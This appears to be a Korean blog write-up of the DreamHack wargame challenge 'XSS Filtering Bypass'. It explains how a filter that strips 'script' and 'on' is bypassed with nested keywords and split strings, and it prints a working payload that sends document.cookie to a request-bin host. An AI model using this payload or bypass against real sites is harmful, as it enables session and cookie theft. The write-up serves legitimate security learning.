DreamHack
XSS Filtering Bypass
흑조롱이
2024. 4. 18. 07:05
https://dreamhack.io/wargame/challenges/433
XSS Filtering Bypass
Description Exercise: XSS Filtering Bypass에서 실습하는 문제입니다. 문제 수정 내역 2023.08.04 Dockerfile 제공
dreamhack.io
I. 문제 개요
필터링을 우회하여, 쿠키에 저장된 flag를 읽는 것이 목적이다.
II. 취약점 분석
1. 필터링 우회
"javascript", "script", "on" 3개의 단어를 필터링 하여, 해당되는 단어를 빈 문자열 ""로 치환한다.
그러면 "script" 안에 "script"를 한번 더 넣은 "scriscriptpt"를 처리하는 경우를 생각해보자.
"scriscriptpt" 안의 "script" 문자열은 ""로 치환하여 제거할 것이다.
그러면 남은 "scri"와 "pt"가 합쳐져 "script" 가 완성되고, 필터링을 우회할 수 있다.
2. Payload 설계
<scriscriptpt>document["locatio"+"n"].href="DREAMHACK_TOOLS_REQUEST_BIN_ADDR/?flag="+document.cookie;</scriscriptpt>
쿠키에 들어있는 flag를 우리가 만든 서버로 보냄으로써, flag를 볼 수 있다.
"script"부분은 "scriscriptpt"로 대체하여 필터링을 우회한다.
"location"에서 "on"이 필터링에 걸릴 수 있기에, "locatio"와 "n"으로 단어를 분리해야 한다.
3. 공격 시나리오
XSS를 유발하여, 저장된 쿠키를 우리가 만든 원격 서버로 전송한다.
원격 서버에서는 XSS의 결과로 받은 쿠키를 읽을 수 있다.
III. Exploit
앞서 설계한 payload는 "/flag" 엔드포인트에 입력해야 한다.